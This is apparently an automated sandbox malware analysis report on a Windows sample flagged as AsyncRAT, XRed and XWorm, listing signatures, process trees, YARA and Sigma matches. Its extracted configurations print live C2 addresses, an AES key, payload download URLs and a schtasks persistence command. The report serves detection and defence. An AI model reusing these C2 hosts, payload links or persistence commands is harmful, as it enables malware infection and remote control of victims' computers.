Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1583454
MD5:	100620cd1016f9b7aed030b8eced2afd
SHA1:	f98f52d52fa58ea5d9b179d28422109958e1b3e2
SHA256:	457a62394c53eba3c5ef6d569230487c17aaabc837a4a9361670b1c2ee9f5c34
Tags:	exeuser-jstrosch
Infos:

Detection

AsyncRAT, XRed, XWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Schedule system process

Suricata IDS alerts for network traffic

Yara detected AsyncRAT

Yara detected XRed

Yara detected XWorm

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Check if machine is in data center or colocation facility

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to log keystrokes (.Net Source)

Document contains an embedded VBA macro with suspicious strings

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Document contains an embedded VBA with functions possibly related to HTTP operations

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Drops PE files with benign system names

Machine Learning detection for dropped file

Machine Learning detection for sample

Protects its processes via BreakOnTermination flag

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: Suspect Svchost Activity

Sigma detected: System File Execution Location Anomaly

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses dynamic DNS services

Uses schtasks.exe or at.exe to add and modify task schedules

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Detected potential crypto function

Document contains an embedded VBA macro which executes code when the document is opened / closed

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May infect USB drives

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains executable resources (Code or Archives)

Queries disk information (often used to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the installation date of Windows

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Uncommon Svchost Parent Process

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 4184 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 100620CD1016F9B7AED030B8ECED2AFD)

._cache_file.exe (PID: 4664 cmdline: "C:\Users\user\Desktop\._cache_file.exe" MD5: ADC3667C6060DFDCB6F41BD2B01C31A3)

Fulloptionnew_by elegance.exe (PID: 2916 cmdline: "C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe" MD5: 15DC7DDE51858F43E9845F72213C042D)

svchost.exe (PID: 1292 cmdline: "C:\Users\user\AppData\Roaming\svchost.exe" MD5: 9F3EE8AEF394F4FDB98EAD98EC6C1F9B)

._cache_svchost.exe (PID: 4716 cmdline: "C:\Users\user\Desktop\._cache_svchost.exe" MD5: 5390ED74A0C3C880FDD6D0E2D135BFE1)

schtasks.exe (PID: 7268 cmdline: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\user\svchost.exe" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 7276 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Synaptics.exe (PID: 5600 cmdline: "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate MD5: 5F13DA6171A270D4427F9857F94A265E)

WerFault.exe (PID: 9852 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5600 -s 24140 MD5: C31336C1EFC2CCB44B4326EA793040F2)

EXCEL.EXE (PID: 1548 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding MD5: 4A871771235598812032C822E6F68F19)

splwow64.exe (PID: 9984 cmdline: C:\Windows\splwow64.exe 12288 MD5: 77DE7761B037061C7C112FD3C5B91E73)

svchost.exe (PID: 6812 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 7404 cmdline: C:\Users\user\svchost.exe MD5: 5390ED74A0C3C880FDD6D0E2D135BFE1)

svchost.exe (PID: 7412 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 6896 cmdline: C:\Users\user\svchost.exe MD5: 5390ED74A0C3C880FDD6D0E2D135BFE1)

svchost.exe (PID: 700 cmdline: C:\Users\user\svchost.exe MD5: 5390ED74A0C3C880FDD6D0E2D135BFE1)

svchost.exe (PID: 9776 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 9816 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 5600 -ip 5600 MD5: C31336C1EFC2CCB44B4326EA793040F2)

svchost.exe (PID: 10076 cmdline: C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 9828 cmdline: C:\Users\user\svchost.exe MD5: 5390ED74A0C3C880FDD6D0E2D135BFE1)

svchost.exe (PID: 4736 cmdline: C:\Users\user\svchost.exe MD5: 5390ED74A0C3C880FDD6D0E2D135BFE1)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
AsyncRAT	AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victims computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/asyncrat-onenote-dropper https://aidenmitchell.ca/asyncrat-via-vbs/ https://assets.virustotal.com/reports/2021trends.pdf https://axmahr.github.io/posts/asyncrat-detection/ https://blog.checkpoint.com/research/november-2023s-most-wanted-malware-new-asyncrat-campaign-discovered-while-fakeupdates-re-entered-the-top-ten-after-brief-hiatus/	https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

Threatname: Xworm

{"C2 url": ["45.141.26.134"], "Port": 7000, "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "svchost.exe"}

Threatname: XRed

{"C2 url": "xred.mooo.com", "Email": "xredline1@gmail.com", "Payload urls": ["http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download", "https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1", "http://xred.site50.net/syn/SUpdate.ini", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download", "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1", "http://xred.site50.net/syn/Synaptics.rar", "https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download", "https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1", "http://xred.site50.net/syn/SSLLibrary.dll"]}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
file.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
file.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\Desktop\._cache_svchost.exe	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
C:\Users\user\Desktop\._cache_svchost.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\Desktop\._cache_svchost.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\Desktop\._cache_svchost.exe	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x7053:$str01: $VB$Local_Port 0x7044:$str02: $VB$Local_Host 0x72bf:$str03: get_Jpeg 0x6da9:$str04: get_ServicePack 0x7f78:$str05: Select * from AntivirusProduct 0x8176:$str06: PCRestart 0x818a:$str07: shutdown.exe /f /r /t 0 0x823c:$str08: StopReport 0x8212:$str09: StopDDos 0x8308:$str10: sendPlugin 0x84a6:$str12: -ExecutionPolicy Bypass -File " 0x85cb:$str13: Content-length: 5235
C:\Users\user\Desktop\._cache_svchost.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7e88:$s6: VirtualBox 0x7de6:$s8: Win32_ComputerSystem 0x886e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x890b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8a20:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x84e6:$cnc4: POST / HTTP/1.1
C:\Users\user\svchost.exe	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
C:\Users\user\svchost.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\svchost.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\svchost.exe	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x7053:$str01: $VB$Local_Port 0x7044:$str02: $VB$Local_Host 0x72bf:$str03: get_Jpeg 0x6da9:$str04: get_ServicePack 0x7f78:$str05: Select * from AntivirusProduct 0x8176:$str06: PCRestart 0x818a:$str07: shutdown.exe /f /r /t 0 0x823c:$str08: StopReport 0x8212:$str09: StopDDos 0x8308:$str10: sendPlugin 0x84a6:$str12: -ExecutionPolicy Bypass -File " 0x85cb:$str13: Content-length: 5235
C:\Users\user\svchost.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7e88:$s6: VirtualBox 0x7de6:$s8: Win32_ComputerSystem 0x886e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x890b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8a20:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x84e6:$cnc4: POST / HTTP/1.1
C:\ProgramData\Synaptics\RCXB47F.tmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\ProgramData\Synaptics\RCXB47F.tmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Roaming\svchost.exe	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
C:\Users\user\AppData\Roaming\svchost.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Users\user\AppData\Roaming\svchost.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Roaming\svchost.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\AppData\Roaming\svchost.exe	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0xba667:$str01: $VB$Local_Port 0xba658:$str02: $VB$Local_Host 0xba8d3:$str03: get_Jpeg 0xba3bd:$str04: get_ServicePack 0xbb58c:$str05: Select * from AntivirusProduct 0xbb78a:$str06: PCRestart 0xbb79e:$str07: shutdown.exe /f /r /t 0 0xbb850:$str08: StopReport 0xbb826:$str09: StopDDos 0xbb91c:$str10: sendPlugin 0xbbaba:$str12: -ExecutionPolicy Bypass -File " 0xbbbdf:$str13: Content-length: 5235
C:\Users\user\AppData\Roaming\svchost.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xbb49c:$s6: VirtualBox 0xbb3fa:$s8: Win32_ComputerSystem 0xbbe82:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xbbf1f:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xbc034:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xbbafa:$cnc4: POST / HTTP/1.1
C:\Users\user\Documents\~$cache1	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Users\user\Documents\~$cache1	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Click to see the 18 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000007.00000000.1569463139.0000000000872000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000007.00000000.1569463139.0000000000872000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000007.00000000.1569463139.0000000000872000.00000002.00000001.01000000.0000000A.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7c88:$s6: VirtualBox 0x7be6:$s8: Win32_ComputerSystem 0x866e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x870b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8820:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x82e6:$cnc4: POST / HTTP/1.1
00000000.00000000.1522751574.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
00000000.00000000.1522751574.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000005.00000000.1561083205.00000000004B0000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000005.00000000.1561083205.00000000004B0000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000005.00000000.1561083205.00000000004B0000.00000002.00000001.01000000.00000009.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x10c9c:$s6: VirtualBox 0x10bfa:$s8: Win32_ComputerSystem 0x11682:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x1171f:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x11834:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x112fa:$cnc4: POST / HTTP/1.1
00000004.00000000.1557738009.00007FF771F61000.00000008.00000001.01000000.00000008.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000004.00000002.3995728707.00007FF771F62000.00000008.00000001.01000000.00000008.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000007.00000002.4006645405.0000000002991000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: file.exe PID: 4184	JoeSecurity_XRed	Yara detected XRed	Joe Security
Process Memory Space: svchost.exe PID: 1292	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: svchost.exe PID: 1292	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: ._cache_svchost.exe PID: 4716	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: ._cache_svchost.exe PID: 4716	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.0.svchost.exe.4b8e14.1.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
5.0.svchost.exe.4b8e14.1.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
5.0.svchost.exe.4b8e14.1.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x5253:$str01: $VB$Local_Port 0x5244:$str02: $VB$Local_Host 0x54bf:$str03: get_Jpeg 0x4fa9:$str04: get_ServicePack 0x6178:$str05: Select * from AntivirusProduct 0x6376:$str06: PCRestart 0x638a:$str07: shutdown.exe /f /r /t 0 0x643c:$str08: StopReport 0x6412:$str09: StopDDos 0x6508:$str10: sendPlugin 0x66a6:$str12: -ExecutionPolicy Bypass -File " 0x67cb:$str13: Content-length: 5235
5.0.svchost.exe.4b8e14.1.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6088:$s6: VirtualBox 0x5fe6:$s8: Win32_ComputerSystem 0x6a6e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x6b0b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x6c20:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x66e6:$cnc4: POST / HTTP/1.1
7.0.._cache_svchost.exe.870000.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
7.0.._cache_svchost.exe.870000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
7.0.._cache_svchost.exe.870000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
7.0.._cache_svchost.exe.870000.0.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x7053:$str01: $VB$Local_Port 0x7044:$str02: $VB$Local_Host 0x72bf:$str03: get_Jpeg 0x6da9:$str04: get_ServicePack 0x7f78:$str05: Select * from AntivirusProduct 0x8176:$str06: PCRestart 0x818a:$str07: shutdown.exe /f /r /t 0 0x823c:$str08: StopReport 0x8212:$str09: StopDDos 0x8308:$str10: sendPlugin 0x84a6:$str12: -ExecutionPolicy Bypass -File " 0x85cb:$str13: Content-length: 5235
7.0.._cache_svchost.exe.870000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7e88:$s6: VirtualBox 0x7de6:$s8: Win32_ComputerSystem 0x886e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x890b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8a20:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x84e6:$cnc4: POST / HTTP/1.1
5.0.svchost.exe.4b8e14.1.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
5.0.svchost.exe.4b8e14.1.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
5.0.svchost.exe.4b8e14.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.0.svchost.exe.4b8e14.1.raw.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x7053:$str01: $VB$Local_Port 0x7044:$str02: $VB$Local_Host 0x72bf:$str03: get_Jpeg 0x6da9:$str04: get_ServicePack 0x7f78:$str05: Select * from AntivirusProduct 0x8176:$str06: PCRestart 0x818a:$str07: shutdown.exe /f /r /t 0 0x823c:$str08: StopReport 0x8212:$str09: StopDDos 0x8308:$str10: sendPlugin 0x84a6:$str12: -ExecutionPolicy Bypass -File " 0x85cb:$str13: Content-length: 5235
5.0.svchost.exe.4b8e14.1.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7e88:$s6: VirtualBox 0x7de6:$s8: Win32_ComputerSystem 0x886e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x890b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8a20:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x84e6:$cnc4: POST / HTTP/1.1
5.0.svchost.exe.400000.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
5.0.svchost.exe.400000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
5.0.svchost.exe.400000.0.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0xba667:$str01: $VB$Local_Port 0xba658:$str02: $VB$Local_Host 0xba8d3:$str03: get_Jpeg 0xba3bd:$str04: get_ServicePack 0xbb58c:$str05: Select * from AntivirusProduct 0xbb78a:$str06: PCRestart 0xbb79e:$str07: shutdown.exe /f /r /t 0 0xbb850:$str08: StopReport 0xbb826:$str09: StopDDos 0xbb91c:$str10: sendPlugin 0xbbaba:$str12: -ExecutionPolicy Bypass -File " 0xbbbdf:$str13: Content-length: 5235
5.0.svchost.exe.400000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xbb49c:$s6: VirtualBox 0xbb3fa:$s8: Win32_ComputerSystem 0xbbe82:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xbbf1f:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xbc034:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xbbafa:$cnc4: POST / HTTP/1.1
4.2.Fulloptionnew_by elegance.exe.7ff771dc0000.0.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
4.0.Fulloptionnew_by elegance.exe.7ff771dc0000.0.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0.0.file.exe.400000.0.unpack	JoeSecurity_XRed	Yara detected XRed	Joe Security
0.0.file.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Click to see the 17 entries

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\._cache_file.exe, ProcessId: 4664, TargetFilename: C:\Users\user\AppData\Roaming\svchost.exe

Sigma detected: Suspect Svchost Activity

Source: Process started

Author: David Burkett, @signalblur: Data: Command: C:\Users\user\svchost.exe, CommandLine: C:\Users\user\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\svchost.exe, NewProcessName: C:\Users\user\svchost.exe, OriginalFileName: C:\Users\user\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 932, ProcessCommandLine: C:\Users\user\svchost.exe, ProcessId: 7404, ProcessName: svchost.exe

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: "C:\Users\user\AppData\Roaming\svchost.exe" , CommandLine: "C:\Users\user\AppData\Roaming\svchost.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\svchost.exe, NewProcessName: C:\Users\user\AppData\Roaming\svchost.exe, OriginalFileName: C:\Users\user\AppData\Roaming\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\._cache_file.exe" , ParentImage: C:\Users\user\Desktop\._cache_file.exe, ParentProcessId: 4664, ParentProcessName: ._cache_file.exe, ProcessCommandLine: "C:\Users\user\AppData\Roaming\svchost.exe" , ProcessId: 1292, ProcessName: svchost.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\svchost.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\._cache_svchost.exe, ProcessId: 4716, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\AppData\Roaming\svchost.exe" , CommandLine: "C:\Users\user\AppData\Roaming\svchost.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\svchost.exe, NewProcessName: C:\Users\user\AppData\Roaming\svchost.exe, OriginalFileName: C:\Users\user\AppData\Roaming\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\._cache_file.exe" , ParentImage: C:\Users\user\Desktop\._cache_file.exe, ParentProcessId: 4664, ParentProcessName: ._cache_file.exe, ProcessCommandLine: "C:\Users\user\AppData\Roaming\svchost.exe" , ProcessId: 1292, ProcessName: svchost.exe

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\ProgramData\Synaptics\Synaptics.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\file.exe, ProcessId: 4184, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Synaptics Pointing Device Driver

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\ProgramData\Synaptics\Synaptics.exe, ProcessId: 5600, TargetFilename: C:\Users\user~1\AppData\Local\Temp\5hfnY6TV.xlsm

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

